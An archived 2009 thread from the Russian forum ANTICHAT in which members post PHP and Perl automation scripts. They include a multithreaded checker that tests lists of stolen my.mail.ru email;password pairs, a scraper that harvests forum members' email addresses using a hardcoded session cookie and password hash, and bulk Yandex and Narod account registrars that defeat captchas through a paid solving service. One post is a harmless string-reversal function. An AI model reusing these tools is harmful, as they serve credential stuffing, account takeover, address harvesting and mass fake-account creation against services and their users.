ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

24.08.2009, 10:41
|
|
Постоянный
Регистрация: 02.03.2008
Сообщений: 893
Провел на форуме: 5365841
Репутация:
712
|
|
Вечный Онлайн Вконтакте
просили в этой теме
[+] Авторизируется по cookie
[+] Если cookie "мертвые",то с вашим E-mail/Password
[+] При необходимости пишет log-файл
PHP код:
<?php
set_time_limit(0);
//-----------------//
$email = ""; // E-mail
$pass = ""; // Пароль
$log = "0"; // 1 - Если нужно писать log-файл
//-----------------//
$ch = curl_init("http://vkontakte.ru/index.php");
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
curl_setopt($ch, CURLOPT_REFERER, "http://vkontakte.ru/index.php");
curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook7777");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
if (preg_match('#l">E(.*?)<#i',$result,$avtoriz))
{
$ch = curl_init("http://vkontakte.ru/login.php");
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "op=a_login_attempt&email=".urlencode($email)."&pass=".urlencode($pass)."&expire=0");
curl_setopt($ch, CURLOPT_REFERER, "http://vkontakte.ru/index.php");
curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook7777");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res_index = curl_exec($ch);
if ($log == "1")
{
$fh = fopen("log.txt", "a+");
$success - fwrite($fh, "Авторизация [".date("H:i")."]\r\n");
fclose($fh);
}
}
else
{
if ($log == "1")
{
$fh = fopen("log.txt", "a+");
$success - fwrite($fh, "Работа через cookie [".date("H:i")."]\r\n");
fclose($fh);
}
}
/* geforse.name */
?>
 P.S. Заметил одну ошибку, у меня в пароле присутствует знак $, urlencode его почему-то не верно кодирует и авторизация не проходит. Если у вас скрипт не авторизиуется, то попробуйте поменять пароль на буквено-цифровой
|
|
|

24.08.2009, 11:19
|
|
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
Провел на форуме: 1698585
Репутация:
818
|
|
Заметил одну ошибку, у меня в пароле присутствует знак $, urlencode его почему-то не верно кодирует и авторизация не проходит. Если у вас скрипт не авторизиуется, то попробуйте поменять пароль на буквено-цифровой
Возьми за привычку не использовать двойные ковычки там где нет переменных.
У тебя неавторизовуется из-за них, потому как спецсиволы нужно екранировать.
|
|
|

25.08.2009, 14:46
|
|
Постоянный
Регистрация: 27.10.2008
Сообщений: 491
Провел на форуме: 4002393
Репутация:
464
|
|
написал скриптик для отсылки статистики с партнерской программы nicetest на мобилку (смс) через сайт mts.com.ua
я только начал изучения курла и вообще я не спец по пхп, так что код у меня не гут) но главное работает)
ввести нужно логин, пасс, номер, и абсолютный путь к картинке с каптчой. и еще нужно отредактировать 120 и 150 строчки(вставить туда апикей)
ставим на крон и все)))
вот сам код
PHP код:
<?php
set_time_limit(0);
//NiceTest.ru
$login = " "; //Логин на партнерке
$pass = " "; //пароль на партнерке
$operator = "095"; // Оператор
$nomer = "1234567"; // Номер
$apath = "абсолютный/путь/к/cap.jpg"; //Абсолютный путь к cap.jpg
//Авторизация на Nicetest
$ch = curl_init("http://partners.nicetest.ru/admin.php?login=1");
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "username=".urlencode($login)."&password=".urlencode($pass));
curl_setopt($ch, CURLOPT_REFERER, "http://partners.nicetest.ru");
curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res_index = curl_exec($ch);
//Грабим сумму
$res_index = str_replace("Заработано за период: <font class=main_12>","***", $res_index);
$res_index = str_replace("$</font></td></tr>","***", $res_index);
$res_index = str_replace("Заработано сегодня: <font class=main_12>","***", $res_index);
$res_index = str_replace("Из них рефералами: <font class=main_12>","***", $res_index);
list($str1, $str2, $str3, $str4, $str5, $str6) = explode("***", $res_index);
$segod = $str2;
$period = $str4;
$referal = $str6;
//отправка смс
$message = "segod=".$segod.";\r\nperiod=".$period.";\r\nreferal=".$referal;
$ua = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4';
$ch = curl_init('http://www.mts.com.ua/ukr/sendsms.php');
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_NOBODY, 0);
curl_setopt($ch, CURLOPT_REFERER, 'http://www.mts.com.ua/ukr/sendsms.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($ch);
curl_close($ch);
### Func ###
function get_session($var)
{
preg_match('#PHPSESSID=(.*);#',$var,$matches);
$session = $matches[1];
return $session;
}
############
$session = get_session($res);
if(preg_match('#captcha\.php\?PHPSESSID=(.*)&rnd=(.*)" alt="Код"#',$res,$matches))
{
$rnd = $matches[2];
$ch = curl_init("http://www.mts.com.ua/back/modules/golden/captcha.php?PHPSESSID=$session&rnd=$rnd");
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_COOKIE, 'PHPSESSID='.$session);
curl_setopt($ch, CURLOPT_REFERER, 'http://www.mts.com.ua/ukr/sendsms.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($ch);
curl_close($ch);
file_put_contents('cap.jpg',$res);
}
#######################################
function recognize($filename, $apikey, $is_verbose = true, $rtimeout = 3, $mtimeout = 200, $is_phrase = 0, $is_regsense = 1, $is_numeric = 0, $min_len = 0, $max_len = 0)
{
if (!file_exists($filename))
{
if ($is_verbose) echo "file $filename not found\n";
return false;
}
$postdata = array(
'method' => 'post',
'key' => $apikey,
'file' => '@'.$filename,
'phrase' => $is_phrase,
'regsense' => $is_regsense,
'numeric' => $is_numeric,
'min_len' => $min_len,
'max_len' => $max_len,
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'http://ac-service.info/in.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 60);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
$result = curl_exec($ch);
if (curl_errno($ch))
{
if ($is_verbose) echo "CURL returned error: ".curl_error($ch)."\n";
return false;
}
curl_close($ch);
if (strpos($result, "ERROR")!==false)
{
if ($is_verbose) echo "server returned error: $result\n";
return false;
}
else
{
$ex = explode("|", $result);
$captcha_id = $ex[1];
if ($is_verbose) echo "ID $captcha_id \n";
$waittime = 0;
if ($is_verbose) echo "<br>sleep $rtimeout \n";
sleep($rtimeout);
while(true)
{
$result = file_get_contents('http://ac-service.info/res.php?key=4d00d7b9863...........3f694&action=get&id='.$captcha_id); //сюда кей антикаптчи
if (strpos($result, 'ERROR')!==false)
{
if ($is_verbose) echo "server returned error: $result\n";
return false;
}
if ($result=="CAPCHA_NOT_READY")
{
if ($is_verbose) echo "<br>captcha is not ready yet\n";
$waittime += $rtimeout;
if ($waittime>$mtimeout)
{
if ($is_verbose) echo "<br>timelimit ($mtimeout) hit\n";
break;
}
if ($is_verbose) echo "<br>waiting for $rtimeout seconds\n";
sleep($rtimeout);
}
else
{
$ex = explode('|', $result);
if (trim($ex[0])=='OK') return trim($ex[1]);
echo '<br>'.$ex[1];
}
}
return false;
}
}
#######################################
$captcha=recognize($apath ,"4d00d7b...............93f694",true); //сюда кей антикаптчи
$ch = curl_init("http://www.mts.com.ua/back/modules/sms/db_sms.php");
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "script=%2Fukr%2Fsendsms.php&sms_tag_id=3&network1=38".$operator."&phone1=".$nomer."&message=".$message."&lang=lat&captcha=".$captcha);
curl_setopt($ch, CURLOPT_REFERER, "http://www.mts.com.ua/ukr/sendsms.php");
curl_setopt($ch, CURLOPT_COOKIE, 'PHPSESSID='.$session);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res_index = curl_exec($ch);
?>
смска приходит вида
segod=999;
period=999;
referal=999
п.с прошу не пинать)
Последний раз редактировалось zifanchuck; 25.08.2009 в 14:48..
|
|
|

25.08.2009, 15:41
|
|
Участник форума
Регистрация: 08.02.2009
Сообщений: 196
Провел на форуме: 1420275
Репутация:
127
|
|
[PERL] МойМир чекер
Код:
#!/usr/bin/perl
# my.mail.ru accounts checker by Gaus
use strict;
use LWP::UserAgent;
use HTTP::Cookies;
use threads;
use threads::shared;
use Fcntl ':flock';
###############################
my $file_accs = 'accs.txt'; # Файл с аккаунтами
my $delm_accs = ';'; # Разделитель списка аккаунтов
my $threads = 10; # Кол-во потоков
###############################
open my $file, '<', $file_accs or die "\nCould not open accounts file!\n";
chomp(my @accs : shared = <$file>);
close $file;
threads->new(\&main) for 1 .. $threads;
$_->join for threads->list;
sub main
{
while(@accs)
{
my ($mail,$pass) = split $delm_accs => shift @accs;;
my ($login,$domain) = split '@' => $mail;
my $ua = LWP::UserAgent->new(timeout => 35,
cookie_jar => new HTTP::Cookies,
agent => agent());
my $answ = $ua->post('http://swa.mail.ru/cgi-bin/auth',
['action1' => 'Login',
'Login' => $login,
'Domain' => $domain,
'Password' => $pass])->code;
if($answ == 302)
{
my $resp = $ua->get("http://my.mail.ru/")->content;
if($resp =~ m,friends_requests" class="mf_menu2">(.*?)</a> (\d+)</div>,i)
{
if($2 > 0)
{
wf('acccounts_with_friends.txt',"$mail;$pass\n");
print "[ + ] $mail;$pass:$2\n";
}
else
{
print "[ ~ ] $mail;$pass:0\n";
wf('acccounts_without_friends.txt',"$mail;$pass\n");
}
}
else
{
print "[ ~ ] $mail;$pass\n";
}
}
else
{
print "[ - ] $mail;$pass\n";
}
}
}
sub agent
{
my @agents = qw(Opera/9.15 Opera/9.12 Opera/8.60b IE/4.0 IE/5.0 IE/6.0 IE/7.0 Mozilla/4.0 Mozilla/5.0 Mozilla/2.0 Mozilla/3.0);
return $agents[rand scalar @agents];
}
sub wf
{
open my $dat, '>>', $_[0] or die "\nCould not open $_[0] file!\n";
flock $dat, LOCK_EX;
print $dat $_[1];
flock $dat, LOCK_UN;
close $dat;
}
Download(pass: antichat)
|
|
|

25.08.2009, 20:03
|
|
Участник форума
Регистрация: 05.05.2009
Сообщений: 126
Провел на форуме: 226966
Репутация:
8
|
|
Почему у меня курл не работает ?? пишет undef. function
|
|
|

25.08.2009, 20:16
|
|
Постоянный
Регистрация: 27.07.2008
Сообщений: 614
Провел на форуме: 4532332
Репутация:
1196
|
|
Сообщение от restart_05
Почему у меня курл не работает ?? пишет undef. function
скачай курл библиотеки и отред. php.ini
|
|
|

27.08.2009, 01:20
|
|
Новичок
Регистрация: 26.08.2009
Сообщений: 1
Провел на форуме: 12527
Репутация:
0
|
|
Парсер контента, работает с cookies.
Скрипт Pashkela, поддержка cookies Pavlov.
PHP код:
<?php
$opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7\nReferer: http://forum.antichat.ru/index.php?\nCookie: abblastvisit=1251307988; abblastactivity=deleted; abbuserid=95513; abbpassword=bdbb9260271d89f701d585f6435112c8; abbsessionhash=0060e7152bd8aa91132d8b877bf9a097;\n"
)
);
$context = stream_context_create($opts);
$start = 95512;//Стартовая страница
$end = 95514;//Последняя страница
$pause = 1;//пауза в секундах между каждой страницей
$result = fopen('m.txt','w');//контент
for ($i=$start;$i<=$end;$i++) {
$a = file_get_contents('http://forum.antichat.ru/sendmessage.php?do=mailmember&u=' . $i . ' ', false,$context);
preg_match_all('/: <a href="mailto:.*?\">/ism',$a,$res[$i]);
$res[$i] = array_unique($res[$i][0]);
$b = implode ("\r\n",$res[$i]);
fwrite ($result,$b . "\r\n");
sleep($pause);
}
fclose ($result);
echo "<html><title>The mail</title><body bgcolor='#363940'>";
echo "<font color='c1c1c7'>The mail accounts of the members </font> ";
echo "<font color='PaleGreen'>[" . $start . "-" . $end . "]</font> ";
echo "<font color='c1c1c7'>has been saved as </font>";
echo "<font color='PaleGreen'>m.txt</font></html></body>";
?>
Последний раз редактировалось Themail; 27.08.2009 в 01:24..
|
|
|

29.08.2009, 20:12
|
|
Постоянный
Регистрация: 02.03.2008
Сообщений: 893
Провел на форуме: 5365841
Репутация:
712
|
|
Авторегер E-mail + сайтов Narod.ru
PHP код:
<?php
set_time_limit(0);
//-----------------//
$email = 'yandex_mail.txt'; // Файл с E-mail
$narod = 'narod.txt'; // Файл с FTP
$ammount = '5'; // Количество регистраций
$divider = ':'; // Разделитель
$ac_key = ' '; // Ключ антикапчи
#$proxy = ' '; // Можно через покси (в функции 'post' нужно раскоментировать строку с $proxy)
//-----------------//
function post($url,$post,$refer)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_REFERER, $refer);
curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook");
curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook");
#curl_setopt($ch, CURLOPT_PROXY, $proxy);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
return $result;
}
/* Функция для распознавания капчи */
function recognize($filename, $apikey, $is_verbose = true, $rtimeout = 5, $mtimeout = 120, $is_phrase = 0, $is_regsense = 0, $is_numeric = 1, $min_len = 0, $max_len = 0)
{
if (!file_exists($filename))
{
if ($is_verbose) echo "file $filename not found\n";
return false;
}
$postdata = array(
'method' => 'post',
'key' => $apikey,
'file' => '@'.$filename, //полный путь к файлу
'phrase' => $is_phrase,
'regsense' => $is_regsense,
'numeric' => $is_numeric,
'min_len' => $min_len,
'max_len' => $max_len,
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'http://ac-service.info/in.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 60);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
$result = curl_exec($ch);
if (curl_errno($ch))
{
if ($is_verbose) echo "CURL returned error: ".curl_error($ch)."\n";
return false;
}
curl_close($ch);
if (strpos($result, "ERROR")!==false)
{
if ($is_verbose) echo "server returned error: $result\n";
return false;
}
else
{
$ex = explode("|", $result);
$captcha_id = $ex[1];
if ($is_verbose) echo "captcha sent, got captcha ID $captcha_id\n";
$waittime = 0;
if ($is_verbose) echo "waiting for $rtimeout seconds\n";
sleep($rtimeout);
while(true)
{
$result = file_get_contents('http://ac-service.info/res.php?key='.$apikey.'&action=get&id='.$captcha_id);
if (strpos($result, 'ERROR')!==false)
{
if ($is_verbose) echo "server returned error: $result\n";
return false;
}
if ($result=="CAPCHA_NOT_READY")
{
if ($is_verbose) echo "captcha is not ready yet\n";
$waittime += $rtimeout;
if ($waittime>$mtimeout)
{
if ($is_verbose) echo "timelimit ($mtimeout) hit\n";
break;
}
if ($is_verbose) echo "waiting for $rtimeout seconds\n";
sleep($rtimeout);
}
else
{
$ex = explode('|', $result);
if (trim($ex[0])=='OK') return trim($ex[1]);
}
}
return false;
}
}
function login()
{
$letters = 'abcdefghijklmopkqrstuvwxyz';
for ($p = 0; $p < 20; $p++)
{
$login .= $letters{rand(0, strlen($letters) - 1)};
}
return $login;
}
/* Пока не достигнем нужного количества e-mail/ftp, не заканчиваем регистрацию */
for ($y = 1; $y <= $ammount; $y++)
{
/* Генерируем Логин... */
$login = login();
/* ...имя */
$name = rand(0,7777777);
/* ...пароль */
$password = rand(0,7777777);
/* Выходи из почты */
post ('http://passport.yandex.ru/passport?mode=logout',null,'http://passport.yandex.ru/');
/* Начинаем регистрацию */
$result = post('http://passport.yandex.ru/passport?mode=register','step=two&filled=yes&fresh=&iname='.$name.'&fname='.$name.'&login='.$login.'&done=%C4%E0%EB%FC%F8%E5%A0%26%238594%3B','http://passport.yandex.ru/passport?mode=register&msg=mail&retpath=http://mail.yandex.ru');
/* Получаем значения */
preg_match('#ncrnd=(.*?)"#i',$result,$ncrnd);
preg_match('#idkey" value="(.*?)"#i',$result,$idkey);
preg_match('#\?idkey=(.*?)"#i',$result,$captcha);
/* Создаём картинку капчи */
file_put_contents('captcha.jpg',file_get_contents('http://passport.yandex.ru/digits?idkey='.$captcha[1]));
/* Распознаём её */
$text=recognize(getcwd()."/captcha.jpg",$ac_key,false);
/* Регистрируем E-mail... */
$result = post('http://passport.yandex.ru/passport?mode=register&ncrnd='.$ncrnd[1],'idkey='.$idkey[1].'&step=two&filled=yes&login='.$login.'&fname='.$name.'&iname='.$name.'&time='.time().'&passwd='.$password.'&passwd2='.$password.'&hintq=1&udhintq=&hinta=OTVET&hintasave=OTVET&questnum=1&hintqsave=&email=&phonenumber=&code='.$text.'&agreed=yes', 'http://passport.yandex.ru/passport?mode=register&ncrnd='.$_POST['ncrnd']);
/* ...и FTP */
$ftp = post('http://narod.yandex.ru/disk/narod/',null,'http://yandex.ru/');
/* Проверяем всё ли прошло успешно */
if(preg_match('#logout">(.*?)<#i',$result,$end))
{
/* Сохраняем результаты */
$fh = fopen($email, "a+");
$success - fwrite($fh, $login.'@yandex.ru'.$divider.$password."\r\n");
fclose($fh);
$na = fopen($narod, "a+");
$success - fwrite($na, $login.'.narod.ru'.$divider.$password."\r\n");
fclose($na);
}
}
/* geforse.name */
?>
Полуавтоматический регистратор E-mail Яндекс
PHP код:
<?php
set_time_limit(0);
//-----------------//
$email = 'yandex.txt'; // Файл с E-mail
$divider = ':'; // Разделитель
//-----------------//
function post($url,$post,$refer)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_REFERER, $refer);
curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook");
curl_setopt($ch, CURLOPT_COOKIEFILE, "./cook");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
return $result;
}
/* Генерируем Логин... */
$letters = 'abcdefghijklmopkqrstuvwxyz';
for ($i = 0; $i < 20; $i++)
{
$login .= $letters{rand(0, strlen($letters) - 1)};
}
/* ...имя */
$name = rand(0,7777777);
/* ...пароль */
$password = rand(0,7777777);
/* Если нам передали капчу */
if($_POST['captcha'])
{
/* Отправляем данные*/
$result = post('http://passport.yandex.ru/passport?mode=register&ncrnd='.$_POST['ncrnd'],'idkey='.$_POST['idkey'].'&step=two&filled=yes&login='.$_POST['login'].'&fname='.$_POST['name'].'&iname='.$_POST['name'].'&time='.time().'&passwd='.$_POST['password'].'&passwd2='.$_POST['password'].'&hintq=1&udhintq=&hinta=OTVET&hintasave=OTVET&questnum=1&hintqsave=&email=&phonenumber=&code='.trim($_POST['captcha']).'&agreed=yes', 'http://passport.yandex.ru/passport?mode=register&ncrnd='.$_POST['ncrnd']);
/* Проверка правильности ввода капчи */
if (preg_match('#or">(.*?) н#i',$result,$bad_capt))
{
echo '<script>alert(\'Не правильный код!\')</script>';
}
else
{
/* Запись в файл */
$fh = fopen($email, "a+");
$success - fwrite($fh, $_POST['login'].'@yandex.ru'.$divider.$_POST['password']."\r\n");
fclose($fh);
}
Header('Location: index.php');
exit;
}
else
{
/* Если не передали капчу */
/* Выходим из почты */
post ('http://passport.yandex.ru/passport?mode=logout',null,'http://passport.yandex.ru/');
/* Начинаем регистрацию */
$result = post('http://passport.yandex.ru/passport?mode=register','step=two&filled=yes&fresh=&iname='.$name.'&fname='.$name.'&login='.$login.'&done=%C4%E0%EB%FC%F8%E5%A0%26%238594%3B','http://passport.yandex.ru/passport?mode=register&msg=mail&retpath=http://mail.yandex.ru');
/* Получаем значения */
preg_match('#ncrnd=(.*?)"#i',$result,$ncrnd);
preg_match('#idkey" value="(.*?)"#i',$result,$idkey);
preg_match('#\?idkey=(.*?)"#i',$result,$captcha);
/* Выводим форму для ввода капчи (в hidden передаём необходимые значения) */
echo '<img class="captcha-img" name="captcha" src="http://passport.yandex.ru/digits?idkey='.$captcha[1].'" alt=""><br>
<form name="captcha_form" action="index.php" method="POST">
<input type="text" name="captcha" value="" /><br>
<input type="hidden" name="ncrnd" value="'.$ncrnd[1].'" />
<input type="hidden" name="idkey" value="'.$idkey[1].'" />
<input type="hidden" name="name" value="'.$name.'" />
<input type="hidden" name="login" value="'.$login.'" />
<input type="hidden" name="password" value="'.$password.'" />
<input type="submit" value="ok">
</form>';
}
/* Выводим результат */
if (file_exists($email))
{
$quantity_email = count(file($email));
echo 'В базе <b>'.$quantity_email.'</b> E-mail';
}
/* geforse.name */
?>
/* geforse.name */
|
|
|

31.08.2009, 08:59
|
|
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
Провел на форуме: 1698585
Репутация:
818
|
|
Разрешите побоянить =) Функция реверса строки:
PHP код:
<?php
$str = 'строка которую нужно реверснуть';
/* Самопальная функция для реверса строки */
function revers_string($str)
{
$return_data = '';
for ($i=0;$i < strlen(trim($str));$i++) {
$new_str[] = $str[$i];
}
$revers = array_reverse($new_str);
foreach ($revers as $str) {
$return_data .= $str;
}
return $return_data;
}
$new_string = revers_string($str);
echo $new_string.'<br />';
/* На примере списка асек: */
$file = file('list.txt');
foreach ($file as $f) {
$f = trim($f);
echo $f.';'.revers_string($f).'<br />';
}
?>
Результат:
ьтунсревер онжун юуроток акортс
123456;654321
516716;617615
|
|
|

31.08.2009, 11:29
|
|
Reservists Of Antichat - Level 6
Регистрация: 25.03.2008
Сообщений: 670
Провел на форуме: 4137635
Репутация:
2407
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|